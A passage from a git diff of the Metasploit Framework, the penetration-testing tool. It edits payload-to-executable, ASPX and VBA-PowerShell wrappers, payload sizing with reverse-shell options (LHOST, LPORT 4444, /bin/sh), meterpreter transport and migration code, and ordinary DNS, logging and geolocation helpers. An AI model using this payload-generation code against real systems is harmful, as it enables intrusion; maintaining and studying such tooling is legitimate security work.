|| false hash_sub = {} + hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:exe_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' - hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:hex_shellcode] = exes.unpack('H*').join('') @@ -1054,13 +1081,13 @@ require 'msf/core/exe/segment_appender' def self.to_exe_aspx(exes = '', opts = {}) hash_sub = {} - hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file]) @@ -1702,8 +1729,8 @@ require 'msf/core/exe/segment_appender' set_handler: xor eax,eax -; push dword [fs:eax] -; mov dword [fs:eax], esp +; push dword [fs:eax] +; mov dword [fs:eax], esp push eax ; LPDWORD lpThreadId (NULL) push eax ; DWORD dwCreationFlags (0) push eax ; LPVOID lpParameter (NULL) @@ -1714,10 +1741,10 @@ require 'msf/core/exe/segment_appender' call ebp ; Spawn payload thread pop eax ; Skip -; pop eax ; Skip +; pop eax ; Skip pop eax ; Skip popad ; Get our registers back -; sub esp, 44 ; Move stack pointer back past the handler +; sub esp, 44 ; Move stack pointer back past the handler ^ stub_final = %Q^ @@ -1784,7 +1811,7 @@ require 'msf/core/exe/segment_appender' # Generate an executable of a given format suitable for running on the # architecture/platform pair. # - # This routine is shared between msfencode, rpc, and payload modules (use + # This routine is shared between msfvenom, rpc, and payload modules (use # ) # # @param framework [Framework] @@ -1933,6 +1960,8 @@ require 'msf/core/exe/segment_appender' when 'vba-exe' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) Msf::Util::EXE.to_exe_vba(exe) + when 'vba-psh' + Msf::Util::EXE.to_powershell_vba(framework, arch, code) when 'vbs' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) @@ -1982,6 +2011,7 @@ require 'msf/core/exe/segment_appender' "psh-cmd", "vba", "vba-exe", + "vba-psh", "vbs", "war" ] diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index f349be43ca..0063b51ea1 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -14,6 +14,27 @@ module Util class PayloadCachedSize + OPTS = { + 'Format' => 'raw', + 'Options' => { + 'CPORT' => 4444, + 'LPORT' => 4444, + 'LHOST' => '255.255.255.255', + 'KHOST' => '255.255.255.255', + 'AHOST' => '255.255.255.255', + 'CMD' => '/bin/sh', + 'URL' => 'http://a.com', + 'PATH' => '/', + 'BUNDLE' => 'data/isight.bundle', + 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', + 'RC4PASSWORD' => 'Metasploit', + 'DNSZONE' => 'corelan.eu', + 'PEXEC' => '/bin/sh' + }, + 'Encoder' => nil, + 'DisableNops' => true + } + # Insert a new CachedSize value into the text of a payload module # # @param data [String] The source code of a payload module @@ -60,7 +81,7 @@ class PayloadCachedSize # @return [Fixnum] def self.compute_cached_size(mod) return ":dynamic" if is_dynamic?(mod) - return mod.new.size + return mod.generate_simple(OPTS).size end # Determines whether a payload generates a static sized output @@ -69,8 +90,9 @@ class PayloadCachedSize # @param generation_count [Fixnum] The number of iterations to use to # verify that the size is static. # @return [Fixnum] - def self.is_dynamic?(mod,generation_count=5) - [*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1 + def self.is_dynamic?(mod, generation_count=5) + [*(1..generation_count)].map{|x| + mod.generate_simple(OPTS).size}.uniq.length != 1 end # Determines whether a payload's CachedSize is up to date @@ -78,9 +100,9 @@ class PayloadCachedSize # @param mod [Msf::Payload] The class of the payload module to update # @return [Boolean] def self.is_cached_size_accurate?(mod) - return true if mod.dynamic_size? + return true if mod.dynamic_size? && is_dynamic?(mod) return false if mod.cached_size.nil? - mod.cached_size == mod.new.size + mod.cached_size == mod.generate_simple(OPTS).size end end diff --git a/lib/net/dns/resolver.rb b/lib/net/dns/resolver.rb index 036d31dd8f..719742de67 100644 --- a/lib/net/dns/resolver.rb +++ b/lib/net/dns/resolver.rb @@ -87,6 +87,9 @@ module Net # :nodoc: # class Resolver + class NextNameserver < RuntimeError + end + # An hash with the defaults values of almost all the # configuration parameters of a resolver object. See # the description for each parameter to have an @@ -109,7 +112,7 @@ module Net # :nodoc: :ignore_truncated => false, :packet_size => 512, :tcp_timeout => TcpTimeout.new(120), - :udp_timeout => UdpTimeout.new(0)} + :udp_timeout => UdpTimeout.new(5)} # Create a new resolver object. # @@ -836,7 +839,7 @@ module Net # :nodoc: if name.include? "." @logger.debug "Search(#{name},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})" ans = query(name,type,cls) - return ans if ans.header.anCount > 0 + return ans if ans && ans.header && ans.header.anCount > 0 end # If the name doesn't end in a dot then apply the search list. @@ -845,7 +848,7 @@ module Net # :nodoc: newname = name + "." + domain @logger.debug "Search(#{newname},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})" ans = query(newname,type,cls) - return ans if ans.header.anCount > 0 + return ans if ans && ans.header && ans.header.anCount > 0 end end @@ -887,8 +890,11 @@ module Net # :nodoc: end @logger.debug "Query(#{name},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})" - - send(name,type,cls) + begin + send(name,type,cls) + rescue ::NoResponseError + return + end end @@ -1011,13 +1017,13 @@ module Net # :nodoc: packet_data = packet.data packet_size = packet_data.size - if @raw - @logger.warn "AXFR query, switching to TCP over RAW socket" - method = :send_raw_tcp - else - @logger.warn "AXFR query, switching to TCP" - method = :send_tcp - end + if @raw + @logger.warn "AXFR query, switching to TCP over RAW socket" + method = :send_raw_tcp + else + @logger.warn "AXFR query, switching to TCP" + method = :send_tcp + end answers = [] soa = 0 @@ -1026,7 +1032,7 @@ module Net # :nodoc: begin response = Net::DNS::Packet.parse(ans[0],ans[1]) - if response.answer[0].type == "SOA" + if response && response.answer && response.answer[0] && response.answer[0].type == "SOA" soa += 1 if soa >= 2 break @@ -1167,50 +1173,54 @@ module Net # :nodoc: sockaddr = Socket.pack_sockaddr_in(@config[:port],ns.to_s) @config[:tcp_timeout].timeout do - catch "next nameserver" do - socket.connect(sockaddr) - @logger.info "Contacting nameserver #{ns} port #{@config[:port]}" - socket.write(length+packet_data) - got_something = false - loop do - buffer = "" + socket.connect(sockaddr) + @logger.info "Contacting nameserver #{ns} port #{@config[:port]}" + socket.write(length+packet_data) + got_something = false + loop do + buffer = "" + begin ans = socket.recv(Net::DNS::INT16SZ) - if ans.size == 0 - if got_something - break #Proper exit from loop - else - @logger.warn "Connection reset to nameserver #{ns}, trying next." - throw "next nameserver" - end - end - got_something = true - len = ans.unpack("n")[0] - - @logger.info "Receiving #{len} bytes..." - - if len == 0 - @logger.warn "Receiving 0 length packet from nameserver #{ns}, trying next." - throw "next nameserver" - end - - while (buffer.size < len) - left = len - buffer.size - temp,from = socket.recvfrom(left) - buffer += temp - end - - unless buffer.size == len - @logger.warn "Malformed packet from nameserver #{ns}, trying next." - throw "next nameserver" - end - if block_given? - yield [buffer,["",@config[:port],ns.to_s,ns.to_s]] + rescue ::Errno::ECONNRESET + ans = "" + end + if ans.size == 0 + if got_something + break #Proper exit from loop else - return [buffer,["",@config[:port],ns.to_s,ns.to_s]] + @logger.warn "Connection reset to nameserver #{ns}, trying next." + raise NextNameserver end end + got_something = true + len = ans.unpack("n")[0] + + @logger.info "Receiving #{len} bytes..." + + if len == 0 + @logger.warn "Receiving 0 length packet from nameserver #{ns}, trying next." + raise NextNameserver + end + + while (buffer.size < len) + left = len - buffer.size + temp,from = socket.recvfrom(left) + buffer += temp + end + + unless buffer.size == len + @logger.warn "Malformed packet from nameserver #{ns}, trying next." + raise NextNameserver + end + if block_given? + yield [buffer,["",@config[:port],ns.to_s,ns.to_s]] + else + return [buffer,["",@config[:port],ns.to_s,ns.to_s]] + end end end + rescue NextNameserver + next rescue Timeout::Error @logger.warn "Nameserver #{ns} not responding within TCP timeout, trying next one" next diff --git a/lib/net/dns/rr.rb b/lib/net/dns/rr.rb index 1629c3f3a7..7183f95657 100644 --- a/lib/net/dns/rr.rb +++ b/lib/net/dns/rr.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- # -# $Id: RR.rb,v 1.19 2006/07/28 07:33:36 bluemonk Exp $ +# $Id: RR.rb,v 1.19 2006/07/28 07:33:36 bluemonk Exp $ # require 'net/dns/names/names' @@ -13,37 +13,37 @@ require 'net/dns/rr/classes' end module Net # :nodoc: - module DNS - + module DNS + # =Name # # Net::DNS::RR - DNS Resource Record class # # =Synopsis - # + # # require 'net/dns/rr' # # =Description - # - # The Net::DNS::RR is the base class for DNS Resource + # + # The Net::DNS::RR is the base class for DNS Resource # Record (RR) objects. A RR is a pack of data that represents - # resources for a DNS zone. The form in which this data is + # resources for a DNS zone. The form in which this data is # shows can be drawed as follow: # # "name ttl class type data" - # + # # The +name+ is the name of the resource, like an canonical # name for an +A+ record (internet ip address). The +ttl+ is the - # time to live, expressed in seconds. +type+ and +class+ are + # time to live, expressed in seconds. +type+ and +class+ are # respectively the type of resource (+A+ for ip addresses, +NS+ - # for nameservers, and so on) and the class, which is almost + # for nameservers, and so on) and the class, which is almost # always +IN+, the Internet class. At the end, +data+ is the - # value associated to the name for that particular type of + # value associated to the name for that particular type of # resource record. An example: # # # A record for IP address # "www.example.com 86400 IN A 172.16.100.1" - # + # # # NS record for name server # "www.example.com 86400 IN NS ns.example.com" # @@ -61,20 +61,20 @@ module Net # :nodoc: # * RRDataError: Error in parsing binary data, maybe from a malformed packet # # =Copyright - # + # # Copyright (c) 2006 Marco Ceresa # - # All rights reserved. This program is free software; you may redistribute + # All rights reserved. This program is free software; you may redistribute # it and/or modify it under the same terms as Ruby itself. # class RR include Net::DNS::Names - + # Regexp matching an RR string RR_REGEXP = Regexp.new("^\\s*(\\S+)\\s*(\\d+)?\\s+(" + - Net::DNS::RR::Classes.regexp + + Net::DNS::RR::Classes.regexp + "|CLASS\\d+)?\\s*(" + - Net::DNS::RR::Types.regexp + + Net::DNS::RR::Types.regexp + "|TYPE\\d+)?\\s*(.*)$", Regexp::IGNORECASE, 'n') # Dimension of the sum of class, type, TTL and rdlength fields in a @@ -85,13 +85,13 @@ module Net # :nodoc: attr_reader :name # TTL time (in seconds) of the RR attr_reader :ttl - # Data belonging to that appropriate class, + # Data belonging to that appropriate class, # not to be used (use real accessors instead) attr_reader :rdata - + # Create a new instance of Net::DNS::RR class, or an instance of # any of the subclass of the appropriate type. - # + # # Argument can be a string or an hash. With a sting, we can pass # a RR resource record in the canonical format: # @@ -101,12 +101,12 @@ module Net # :nodoc: # txt = Net::DNS::RR.new('baz.example.com 3600 HS TXT "text record"') # # Incidentally, +a+, +mx+, +cname+ and +txt+ objects will be instances of - # respectively Net::DNS::RR::A, Net::DNS::RR::MX, Net::DNS::RR::CNAME and + # respectively Net::DNS::RR::A, Net::DNS::RR::MX, Net::DNS::RR::CNAME and # Net::DNS::RR::TXT classes. # - # The name and RR data are required; all other informations are optional. + # The name and RR data are required; all other informations are optional. # If omitted, the +TTL+ defaults to 10800, +type+ default to +A+ and the RR class - # defaults to +IN+. Omitting the optional fields is useful for creating the + # defaults to +IN+. Omitting the optional fields is useful for creating the # empty RDATA sections required for certain dynamic update operations. # All names must be fully qualified. The trailing dot (.) is optional. # @@ -125,12 +125,12 @@ module Net # :nodoc: # :rdata => "10.1.2.3" # ) # - # Name and data are required; all the others fields are optionals like - # we've seen before. The data field can be specified either with the + # Name and data are required; all the others fields are optionals like + # we've seen before. The data field can be specified either with the # right name of the resource (+:address+ in the example above) or with # the generic key +:rdata+. Consult documentation to find the exact name # for the resource in each subclass. - # + # def initialize(arg) case arg when String @@ -157,18 +157,18 @@ module Net # :nodoc: # # This method is used when parsing a binary packet by the Packet # class. - # + # def RR.parse(data) o = allocate obj,offset = o.send(:new_from_binary, data, 0) return obj end - - # Same as RR.parse, but takes an entire packet binary data to + + # Same as RR.parse, but takes an entire packet binary data to # perform name expansion. Default when analizing a packet # just received from a network stream. # - # Return an instance of appropriate class and the offset + # Return an instance of appropriate class and the offset # pointing at the end of the data parsed. # def RR.parse_packet(data,offset) @@ -176,12 +176,12 @@ module Net # :nodoc: o.send(:new_from_binary,data,offset) end - # Return the RR object in binary data format, suitable - # for using in network streams, with names compressed. + # Return the RR object in binary data format, suitable + # for using in network streams, with names compressed. # Must pass as arguments the offset inside the packet # and an hash of compressed names. # - # This method is to be used in other classes and is + # This method is to be used in other classes and is # not intended for user space programs. # # TO FIX in one of the future releases @@ -193,8 +193,8 @@ module Net # :nodoc: offset += Net::DNS::RRFIXEDSZ return str,offset,names end - - # Return the RR object in binary data format, suitable + + # Return the RR object in binary data format, suitable # for using in network streams. # # raw_data = rr.data @@ -205,17 +205,17 @@ module Net # :nodoc: str = pack_name(@name) return str + [type,cls,@ttl,@rdlength].pack("n2 N n") + get_data end - - # Canonical inspect method + + # Canonical inspect method # # mx = Net::DNS::RR.new("example.com. 7200 MX 10 mailhost.example.com.") # #=> example.com. 7200 IN MX 10 mailhost.example.com. # def inspect - data = get_inspect + data = get_inspect # Returns the preformatted string if @name.size < 24 - [@name, @ttl.to_s, @cls.to_s, @type.to_s, + [@name, @ttl.to_s, @cls.to_s, @type.to_s, data].pack("A24 A8 A8 A8 A*") else to_a.join(" ") @@ -241,26 +241,26 @@ module Net # :nodoc: def to_a [@name,@ttl,@cls.to_s,@type.to_s,get_inspect] end - + # Type accessor def type @type.to_s end - + # Class accessor def cls @cls.to_s end - + private - + #--- # New RR with argument in string form #--- def new_from_string(rrstring) unless rrstring =~ RR_REGEXP - raise RRArgumentError, + raise RRArgumentError, "Format error for RR string (maybe CLASS and TYPE not valid?)" end @@ -270,19 +270,19 @@ module Net # :nodoc: rescue NoMethodError raise RRArgumentError, "Missing name field in RR string #{rrstring}" end - + # Time to live for RR, default 3 hours @ttl = $2 ? $2.to_i : 10800 - + # RR class, default to IN @cls = Net::DNS::RR::Classes.new $3 - + # RR type, default to A @type = Net::DNS::RR::Types.new $4 - - # All the rest is data - @rdata = $5 ? $5.strip : "" - + + # All the rest is data + @rdata = $5 ? $5.strip : "" + if self.class == Net::DNS::RR (eval "Net::DNS::RR::#@type").new(rrstring) else @@ -290,11 +290,11 @@ module Net # :nodoc: self.class end end - + def new_from_hash(args) - - # Name field is mandatory - unless args.has_key? :name + + # Name field is mandatory + unless args.has_key? :name raise RRArgumentError, "RR argument error: need at least RR name" end @@ -302,7 +302,7 @@ module Net # :nodoc: @ttl = args[:ttl] ? args[:ttl].to_i : 10800 # Default 3 hours @type = Net::DNS::RR::Types.new args[:type] @cls = Net::DNS::RR::Classes.new args[:cls] - + @rdata = args[:rdata] ? args[:rdata].strip : "" @rdlength = args[:rdlength] || @rdata.size @@ -323,6 +323,7 @@ module Net # :nodoc: if self.class == Net::DNS::RR temp = dn_expand(data,offset)[1] type = Net::DNS::RR::Types.new data.unpack("@#{temp} n")[0] + return unless Net::DNS::RR.const_defined?(type.to_s) (eval "Net::DNS::RR::#{type}").parse_packet(data,offset) else @name,offset = dn_expand(data,offset) @@ -338,7 +339,7 @@ module Net # :nodoc: # rescue StandardError => err # raise RRDataError, "Caught exception, maybe packet malformed: #{err}" end - + # Methods to be overridden by subclasses def subclass_new_from_array(arr) end @@ -369,9 +370,9 @@ module Net # :nodoc: return o end end - + end # class RR - + end # module DNS end # module Net @@ -381,10 +382,10 @@ class RRDataError < StandardError # :nodoc: end module ExtendHash # :nodoc: - - # Performs a sort of group difference + + # Performs a sort of group difference # operation on hashes or arrays - # + # # a = {:a=>1,:b=>2,:c=>3} # b = {:a=>1,:b=>2} # c = [:a,:c] diff --git a/lib/net/dns/rr/classes.rb b/lib/net/dns/rr/classes.rb index b5921ba09b..2ec1aaf1dd 100644 --- a/lib/net/dns/rr/classes.rb +++ b/lib/net/dns/rr/classes.rb @@ -40,7 +40,7 @@ module Net # :nodoc: when Fixnum return Classes.invert.has_key?(cls) else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -55,7 +55,7 @@ module Net # :nodoc: raise ClassArgumentError, "Unknown class number #{cls}" end else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -81,7 +81,7 @@ module Net # :nodoc: @str = Classes.invert[@@default] @num = @@default else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -89,15 +89,15 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(cls) case cls - when /^CLASS\\d+/ - # TODO!!! + when /^CLASS(\d+)$/ + new_from_num(Regexp.last_match(1).to_i) else # String with name of class if Classes.has_key? cls @str = cls @num = Classes[cls] else - raise ClassesArgumentError, "Unknown cls #{cls}" + raise ClassArgumentError, "Unknown class #{cls}" end end end @@ -105,11 +105,13 @@ module Net # :nodoc: # Contructor for numeric data class # *PRIVATE* method def new_from_num(cls) + raise ClassArgumentError, "Invalid class #{cls}" if cls < 0 || cls > 0xFFFF if Classes.invert.has_key? cls @num = cls @str = Classes.invert[cls] else - raise ClassesArgumentError, "Unknown cls number #{cls}" + @num = cls + @str = "CLASS#{cls}" end end diff --git a/lib/net/dns/rr/types.rb b/lib/net/dns/rr/types.rb index 9b75ac2aab..e4507d23c2 100644 --- a/lib/net/dns/rr/types.rb +++ b/lib/net/dns/rr/types.rb @@ -167,8 +167,8 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(type) case type - when /^TYPE\\d+/ - # TODO!!! + when /^TYPE(\d+)$/ + new_from_num(Regexp.last_match(1).to_i) else # String with name of type if Types.has_key? type @@ -183,11 +183,13 @@ module Net # :nodoc: # Contructor for numeric data type # *PRIVATE* method def new_from_num(type) + raise TypeArgumentError, "Invalid type #{type}" if type < 0 || type > 0xFFFF if Types.invert.has_key? type @num = type @str = Types.invert[type] else - raise TypeArgumentError, "Unknown type number #{type}" + @num = type + @str = "TYPE#{type}" end end diff --git a/lib/rbmysql/protocol.rb b/lib/rbmysql/protocol.rb index c06e5bf01c..e3d9b18833 100644 --- a/lib/rbmysql/protocol.rb +++ b/lib/rbmysql/protocol.rb @@ -234,6 +234,7 @@ class RbMysql begin Timeout.timeout @read_timeout do header = @sock.read(4) + raise EOFError unless header && header.length == 4 len1, len2, seq = header.unpack("CvC") len = (len2 << 8) + len1 # Ignore the sequence number -- protocol differences between 4.x and 5.x diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index cc6656715b..46d61dae15 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/') app_data = ENV['APPDATA'] paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" - paths.each do |p| - if File.exists?(p) - args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" + paths.each do |path| + if File.exists?(path) + args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" system("#{path} #{args} #{url}") found_browser = true break @@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/') end else if defined? ENV['PATH'] - ['chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser| ENV['PATH'].split(':').each do |path| browser_path = "#{path}/#{browser}" if File.exists?(browser_path) args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" system("#{browser_path} #{args} #{url} &") found_browser = true + break end end end diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 0891a4b625..462aade850 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -27,9 +27,12 @@ class CmdStagerEcho < CmdStagerBase # def generate(opts = {}) opts[:temp] = opts[:temp] || '/tmp/' - opts[:temp].gsub!(/\\/, "/") - opts[:temp] = opts[:temp].shellescape - opts[:temp] << '/' if opts[:temp][-1,1] != '/' + + unless opts[:temp].empty? + opts[:temp].gsub!(/\\/, '/') + opts[:temp] = opts[:temp].shellescape + opts[:temp] << '/' if opts[:temp][-1,1] != '/' + end # by default use the 'hex' encoding opts[:enc_format] = opts[:enc_format] || 'hex' diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb new file mode 100755 index 0000000000..3afc328ddf --- /dev/null +++ b/lib/rex/google/geolocation.rb @@ -0,0 +1,68 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + module Google + # @example + # g = Rex::Google::Geolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class Geolocation + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.take(10).join("&wifi=") + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP.new(@uri.host, @uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri}" if response + fail msg + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + end + end +end diff --git a/lib/rex/java/serialization/model/proxy_class_desc.rb b/lib/rex/java/serialization/model/proxy_class_desc.rb index 61ad5de9b4..702790b9e3 100644 --- a/lib/rex/java/serialization/model/proxy_class_desc.rb +++ b/lib/rex/java/serialization/model/proxy_class_desc.rb @@ -53,7 +53,7 @@ module Rex def encode unless class_annotation.class == Rex::Java::Serialization::Model::Annotation || super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise Rex::Java::Serialization::EncodeError, 'Filed to serialize ProxyClassDesc' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc' end encoded = '' encoded << [interfaces.length].pack('N') diff --git a/lib/rex/json_hash_file.rb b/lib/rex/json_hash_file.rb new file mode 100644 index 0000000000..fc282d057c --- /dev/null +++ b/lib/rex/json_hash_file.rb @@ -0,0 +1,94 @@ +# -*- coding => binary -*- + +require 'json' +require 'fileutils' + +# +# This class provides a thread-friendly hash file store in JSON format +# +module Rex +class JSONHashFile + + attr_accessor :path + + def initialize(path) + self.path = path + @lock = Mutex.new + @hash = {} + @last = 0 + end + + def [](k) + synced_update + @hash[k] + end + + def []=(k,v) + synced_update do + @hash[k] = v + end + end + + def keys + synced_update + @hash.keys + end + + def delete(k) + synced_update do + @hash.delete(k) + end + end + + def clear + synced_update do + @hash.clear + end + end + +private + + # Save the file, but prevent thread & process contention + def synced_update(&block) + @lock.synchronize do + ::FileUtils.mkdir_p(::File.dirname(path)) + ::File.open(path, ::File::RDWR|::File::CREAT) do |fd| + fd.flock(::File::LOCK_EX) + + # Reload and merge if the file has changed recently + if fd.stat.mtime.to_f > @last + parse_data(fd.read).merge(@hash).each_pair do |k,v| + @hash[k] = v + end + end + + res = nil + + # Update the file on disk if new data is written + if block_given? + res = block.call + fd.rewind + fd.write(JSON.pretty_generate(@hash)) + fd.sync + fd.truncate(fd.pos) + end + + @last = fd.stat.mtime.to_f + + res + end + end + end + + def parse_data(data) + return {} if data.to_s.strip.length == 0 + begin + JSON.parse(data) + rescue JSON::ParserError => e + # elog("JSONHashFile @ #{path} was corrupt: #{e.class} #{e}" + {} + end + end + +end +end diff --git a/lib/rex/logging/log_sink.rb b/lib/rex/logging/log_sink.rb index cbb89471a4..c58ef56d97 100644 --- a/lib/rex/logging/log_sink.rb +++ b/lib/rex/logging/log_sink.rb @@ -41,3 +41,4 @@ end require 'rex/logging/sinks/flatfile' require 'rex/logging/sinks/stderr' +require 'rex/logging/sinks/timestamp_flatfile' diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb new file mode 100644 index 0000000000..bb8fe132b8 --- /dev/null +++ b/lib/rex/logging/sinks/timestamp_flatfile.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- +module Rex +module Logging +module Sinks + +### +# +# This class implements the LogSink interface and backs it against a +# file on disk with a Timestamp. +# +### +class TimestampFlatfile < Flatfile + + def log(sev, src, level, msg, from) # :nodoc: + msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ") + fd.write("[#{get_current_timestamp}] #{msg}\n") + fd.flush + end +end + +end end end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 17ee24e02d..b751768348 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -54,7 +54,7 @@ class ClientCore < Extension # Initializes the 'core' portion of the meterpreter client commands. # def initialize(client) - super(client, "core") + super(client, 'core') end ## @@ -81,7 +81,7 @@ class ClientCore < Extension # No response? if response.nil? - raise RuntimeError, "No response was received to the core_enumextcmd request.", caller + raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller elsif response.result != 0 # This case happens when the target doesn't support the core_enumextcmd message. # If this is the case, then we just want to ignore the error and return an empty @@ -180,7 +180,7 @@ class ClientCore < Extension # No library path, no cookie. if library_path.nil? - raise ArgumentError, "No library file path was supplied", caller + raise ArgumentError, 'No library file path was supplied', caller end # Set up the proper loading flags @@ -215,7 +215,7 @@ class ClientCore < Extension # path of the local and target so that it gets loaded with a random # name if opts['Extension'] - library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}" + library_path = "ext#{rand(1000000)}.#{client.binary_suffix}" target_path = library_path end end @@ -233,7 +233,7 @@ class ClientCore < Extension # No response? if response.nil? - raise RuntimeError, "No response was received to the core_loadlib request.", caller + raise RuntimeError, 'No response was received to the core_loadlib request.', caller elsif response.result != 0 raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller end @@ -317,7 +317,23 @@ class ClientCore < Extension response = client.send_request(*args) mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID) - return Rex::Text.md5(mid) + + # Normalise the format of the incoming machine id so that it's consistent + # regardless of case and leading/trailing spaces. This means that the + # individual meterpreters don't have to care. + + # Note that the machine ID may be blank or nil and that is OK + Rex::Text.md5(mid.to_s.downcase.strip) + end + + def transport_remove(opts={}) + request = transport_prepare_request('core_transport_remove', opts) + + return false unless request + + client.send_request(request) + + return true end def transport_add(opts={}) @@ -415,16 +431,16 @@ class ClientCore < Extension # Migrates the meterpreter instance to the process specified # by pid. The connection to the server remains established. # - def migrate(pid, 